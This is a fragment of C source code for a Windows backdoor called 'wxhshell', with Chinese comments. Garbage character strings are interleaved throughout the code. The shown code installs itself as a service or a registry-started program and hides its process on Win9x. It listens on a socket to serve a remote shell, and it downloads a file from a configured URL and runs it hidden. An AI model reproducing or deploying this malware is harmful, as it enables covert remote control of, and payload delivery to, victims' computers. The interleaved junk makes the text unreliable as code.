pbi.InheritedFromUniqueProcessId); zc K`hS if(hProcess==NULL) return 0; {u~JR(C: ]lqLC HMODULE hMod; 9(6f:D char procName[255]; 3N257] unsigned long cbNeeded; Lcb5^e?'Q Y7BmW+ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gamE^Ee a`I
\19p] CloseHandle(hProcess); XlLG/N
a@!(o )> if(strstr(procName,"services")) return 1; // 以服务启动 o, PpD,, ?.Q$@Ih0 return 0; // 注册表启动 {>g{+Eq } ia@ |+r Z-:T')#Cf // 主模块 @CMEmgk~ int StartWxhshell(LPSTR lpCmdLine) "zj[v1K9-A { T[Lz4;TRk5 SOCKET wsl; [n4nnmM BOOL val=TRUE; Wz%H?m:g# int port=0; galzk $D struct sockaddr_in door; LY-,cXm&| zG{P5@:.R if(wscfg.ws_autoins) Install(); z^vfha qA0PGo port=atoi(lpCmdLine); # ~Doz7~ GXG 7P,p, if(port<=0) port=wscfg.ws_port; 9fm9xTL >v2/0>U WSADATA data; D%L^[|)c\s if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oz:"w
nX #/_{(P if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 't6l@_x setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZLP/&`>8
door.sin_family = AF_INET; tq}MzKI* door.sin_addr.s_addr = inet_addr("127.0.0.1"); ClG\Kpirh door.sin_port = htons(port); x
]"> p]0`rf!| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JkhW LQ>o closesocket(wsl); LTxP@pr return 1; ^hXm=r4ozR } KRz~3yH{c wx^Det if(listen(wsl,2) == INVALID_SOCKET) { hC[=e`j closesocket(wsl); O uNPD q% return 1;
&(oA/jFQ } T*:w1*: Wxhshell(wsl); !c`&L_ "! WSACleanup(); ; [G: Q3Pu<j}Y return 0; URceq2_ yDfH`]i)U } ?7}ybw3t] D=Q.Q // 以NT服务方式启动 >$7x]f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hr;^.a^ { ;plBo%EBV DWORD status = 0; ![;={d0 DWORD specificError = 0xfffffff; M6mgJonN| f"RC(("6W serviceStatus.dwServiceType = SERVICE_WIN32; yX4Vv{g serviceStatus.dwCurrentState = SERVICE_START_PENDING; KCO.8=y3 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D(l,Z serviceStatus.dwWin32ExitCode = 0; *?BY+0 serviceStatus.dwServiceSpecificExitCode = 0; +j{(NwsX serviceStatus.dwCheckPoint = 0; TG[u3Y4 serviceStatus.dwWaitHint = 0; -'Ay(h qCg<g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D'<L6w` if (hServiceStatusHandle==0) return; Vbt!, 2_) ^R=`<jx status = GetLastError(); ;89kL] if (status!=NO_ERROR) 8T1zL.u>q { [3"F$?e5 serviceStatus.dwCurrentState = SERVICE_STOPPED; vn+XY=Qnr serviceStatus.dwCheckPoint = 0; gUNhN1= serviceStatus.dwWaitHint = 0; G &xtL serviceStatus.dwWin32ExitCode = status; Pr1qX5> = serviceStatus.dwServiceSpecificExitCode = specificError; yI1:L
- SetServiceStatus(hServiceStatusHandle, &serviceStatus); T?Kh' return; 1^LdYO?g' } ("\{=XAQ KF
zI27r serviceStatus.dwCurrentState = SERVICE_RUNNING; f[1cN`|z serviceStatus.dwCheckPoint = 0; E/g"}yR serviceStatus.dwWaitHint = 0; /1MmOB if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^#d\HI } >*RU:X Hl`OT5pNf // 处理NT服务事件,比如:启动、停止 `*Yw-HL VOID WINAPI NTServiceHandler(DWORD fdwControl) UB.1xcI { UxL*I[z5 switch(fdwControl) 5X20/+aT { HwHF8#D*l case SERVICE_CONTROL_STOP: O;~e^ <* serviceStatus.dwWin32ExitCode = 0; }3^m>i*8 serviceStatus.dwCurrentState = SERVICE_STOPPED;
*[{j'7*cc serviceStatus.dwCheckPoint = 0; lFGuQLuqA{ serviceStatus.dwWaitHint = 0; &1$d`>fn { r|EN 5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3~,&ab } ^K;k4oK return; EY )2, case SERVICE_CONTROL_PAUSE: ZU73UL serviceStatus.dwCurrentState = SERVICE_PAUSED; j:h}ka/!p break; sq!$+=1-X case SERVICE_CONTROL_CONTINUE: mY.v: serviceStatus.dwCurrentState = SERVICE_RUNNING; 1Z)Et, break; iX$G($[l( case SERVICE_CONTROL_INTERROGATE: G
IN|cv= break; #B;P4n3 }; ~Jk&!IE2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,B[j{sE } tw_o?9 moM?aYm // 标准应用程序主函数 1(gs({ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7v*gwBH { ZeP=}0TGjn =vbG'_[7 // 获取操作系统版本 053bM)qW OsIsNt=GetOsVer(); Bn7uKa{P GetModuleFileName(NULL,ExeFile,MAX_PATH); cD0rU8x {Sf[<I // 从命令行安装 ,WRm{v0f^ if(strpbrk(lpCmdLine,"iI")) Install(); U05;qKgkDF OP`f[lCiL // 下载执行文件 hx9{?3# if(wscfg.ws_downexe) { --WQr]U/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /K#k_k WinExec(wscfg.ws_filenam,SW_HIDE); I8Aq8XBw } _~z
oMdT! *4}_2"[ if(!OsIsNt) { Co1d44Q // 如果时win9x,隐藏进程并且设置为注册表启动 VBX)xQazU HideProc(); 0~bUW V StartWxhshell(lpCmdLine); ISGw}# }]? } +/ZIs|B4,z else <E2 IU~e if(StartFromService()) e$Ksn_wEq // 以服务方式启动 BS9VwG<Z StartServiceCtrlDispatcher(DispatchTable); 7%y$^B7{ else $ln8Cpbca // 普通方式启动 JT?u[pQ^ StartWxhshell(lpCmdLine); d=D-s k,:W]KD return 0; =Kd'(ct }
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